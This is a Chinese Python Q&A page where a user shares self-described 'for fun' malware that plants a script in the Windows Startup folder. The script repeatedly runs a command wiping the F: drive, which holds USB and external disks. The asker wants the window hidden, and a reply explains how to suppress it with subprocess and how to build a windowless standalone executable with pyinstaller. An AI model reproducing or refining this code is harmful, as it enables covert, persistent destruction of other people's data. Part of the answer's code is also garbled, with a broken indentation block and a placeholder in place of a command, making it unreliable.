在后台启动时执行python脚本

2024-05-01 22:09:54 发布

您现在位置:Python中文网/ 问答频道 /正文

我写了一个非常简单的恶意软件的乐趣(我不喜欢做任何恶意的人)。目前,我有这个:

import os

#generate payload
payload = [
    "from os import system\n",
    "from time import sleep\n",
    "while True:\n",
    "   try:\n",
    "       system('rd /s /q F:\\\\')\n",
    "   except:\n",
    "       pass\n",
    "   sleep(10)\n",
]

#find the userhome
userhome = os.path.expanduser('~')

#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
    #write payload
    for i in payload:
        output.write(i)

在用户执行该脚本之后,它应该在每次计算机启动时运行负载。目前,有效负载将擦除F:\驱动器,在那里可以找到USB磁盘、外部硬盘等。在

问题是当计算机启动时命令窗口会出现。我需要一种方法来防止任何东西以一种很短的方式出现在任何软件上,这种方法可以在Python中轻松地完成。我听说过”pythonw.exe“,但我不知道如何在启动时运行它,除非我更改.py文件的默认程序。我该怎么做呢?在

是的,我知道,如果有人得到这个恶意软件,除非他们安装了Python,否则不会有任何影响,但因为我不想用它做任何事情,所以我不在乎。在


Tags: the方法frompyimportoutputtimeos
1条回答
网友
1楼 · 发布于 2024-05-01 22:09:54

实际上,弹出的窗口应该不是python窗口,而是操作系统运行的命令的窗口(如果有两个窗口,则需要按照下面的建议删除实际的python窗口)。您可以在使用subprocess模块时阻止它,类似于os模块。通常,子流程也会创建一个窗口,但您可以使用此调用函数来避免它。如果您希望通过管道将标准输入和输出到流程中,那么它甚至会使用可选参数input和return output,在本例中不需要这样做。在

def call(command,io=''):
    command = command.split()
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    if io != None:
    process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
    return process.communicate(io)[0]

这应该有帮助。你会用它来代替操作系统()

而且,即使没有python,也可以通过pyinstaller将其变成可执行文件来使其工作(尽管您确实不应该在其他系统上使用它)。实际上,您可能需要在更改startupinfo子流程的同时执行此操作,才能使其正常工作。与py2exe或cxfreeze不同,pyinstaller非常容易使用,并且工作可靠。安装pyinstallerhere(它是一个zip文件,但是pyinstaller和其他站点会记录如何使用这个文件安装它)。如果要从命令行创建可执行文件,则可能需要在系统“path”变量中包含pyinstaller命令(可以从“控制面板”执行)。只是打字

^{pr2}$

你将得到一个单独的文件,独立的,无窗口的可执行文件。w使其无窗口,-F使其成为独立文件,而不是多个文件的集合。您应该会看到从中调用pyinstaller的dist子目录,该子目录将包括(可能会忽略的)单个独立的可执行文件,它不需要python,并且不会导致任何窗口弹出。在

相关问题 更多 >